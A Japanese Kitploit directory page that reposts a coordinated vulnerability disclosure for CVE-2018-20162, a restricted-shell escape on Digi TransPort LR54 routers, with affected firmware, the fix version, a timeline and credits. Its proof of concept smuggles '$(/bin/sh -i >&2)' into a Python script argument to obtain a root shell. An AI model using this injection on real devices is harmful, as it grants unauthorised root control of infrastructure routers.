Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-20162-digi-lr54-restricted-shell-escape | Kitploit
ツール/GitHubGitHub/stigtsp/cve-2018-20162-digi-lr54-restricted-shell-escape
組み込みシステムセキュリティ特権昇格IoTセキュリティ脆弱性分析エクスプロイトペネトレーションテストハードウェアとIoTセキュリティレッドチーミング

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
stigtsp/cve-2018-20162-digi-lr54-restricted-shell-escape

CVE-2018-20162-digi-lr54-restricted-shell-escape

リポジトリを見る
27年前未レビュー

layout: post title: "CVE-2018-20162: Digi TransPort LR54 制限シェル脱出" author: sgo category: security

Digi TransPort LR54は、産業、インフラ、小売、公共交通機関で広く使用されている高速LTEルーターです。

このデバイスは制限付きサンドボックス内でのPythonスクリプトの実行をサポートしており、SSH経由でアクセスできるカスタムシェルにも同じ制限が適用されます。そのため、管理者は基盤となるOSにアクセスできません。

私は、CLIがPythonスクリプトを実行する際のコマンドライン引数の処理方法を悪用して、サンドボックスから脱出しrootシェルを取得する方法を発見しました:

対話型のPythonプロセスがSIGINT(CTRL-C経由)を受信すると、スクリプトへの引数が対話型CLIのエラーロギングハンドラに渡される際に適切にエスケープされません。これにより、攻撃者はrootとして任意のコマンドを実行できます。

この脆弱性を悪用するには、攻撃者は'super'権限を持つ対話型CLIアクセスが必要です。このアクセスレベルを持つユーザーは、デバイス上でデフォルトで有効になっています。

影響を受けるデバイス

Digi Transport LR54(およびWR64やWR54などの関連製品も影響を受ける可能性があります)

ファームウェアバージョン : 4.4.0.26 10/29/2018 21:14:06 ファームウェアバージョン : 4.3.2.24 09/06/2018 00:58:34

およびそれ以前のバージョンも影響を受ける可能性があります

緩和策

ユーザーはファームウェアバージョン4.5.1.4以降にアップグレードする必要があります。デバイスに保存されている秘密鍵やパスフレーズなどの機密情報は、予防措置として変更する必要があります。

概念実証(PoC)

  1. scpまたはsftpを使用して、次の内容を含むsleep.pyをLR54にアップロードします:
root@kitploit:~
import time;time.sleep(10)
  1. LR54のCLIで次のコマンドを実行します:
root@kitploit:~
python sleep.py --XXX $(/bin/sh -i >&2)
  1. プログラムの起動後、すぐにCTRL-Cを押します

  2. その後、対話型のrootシェルに落とされます

root@kitploit:~
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)

タイムライン

  • 2018-12-13: 脆弱性を発見
  • 2018-12-14: PoCを作成、ベンダーに通知
  • 2018-12-14: ベンダーが確認、60日間のエンバーゴ。CVEを申請。
  • 2018-12-15: CVE-2018-20162が割り当てられる
  • 2018-12-31: プレリリース版ファームウェアを受領。脆弱性がないことを確認。
  • 2019-01-02: ベンダーが修正版ファームウェア4.5.1.4をリリース
  • 2019-01-25: ベンダーがリリースノートを更新し、CVE-2018-20162に言及
  • 2019-02-13: ベンダーが情報開示を承認、エンバーゴ解除

参照

  • https://www.digi.com/products/networking/cellular-routers/digi-transport-lr54
  • http://ftp1.digi.com/support/firmware/transport/LR54/v4.5.1.4/93001306_L.pdf
  • https://www.digi.com/resources/security
  • https://blog.hackeriet.no/cve-2018-20162-digi-lr54-restricted-shell-escape
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20162

クレジット

脆弱性はStig Palmquistによって発見されました。

このレポートをレビューしてくれた@duniel_plsと@alexanderkjallに感謝します。

ツールをダウンロード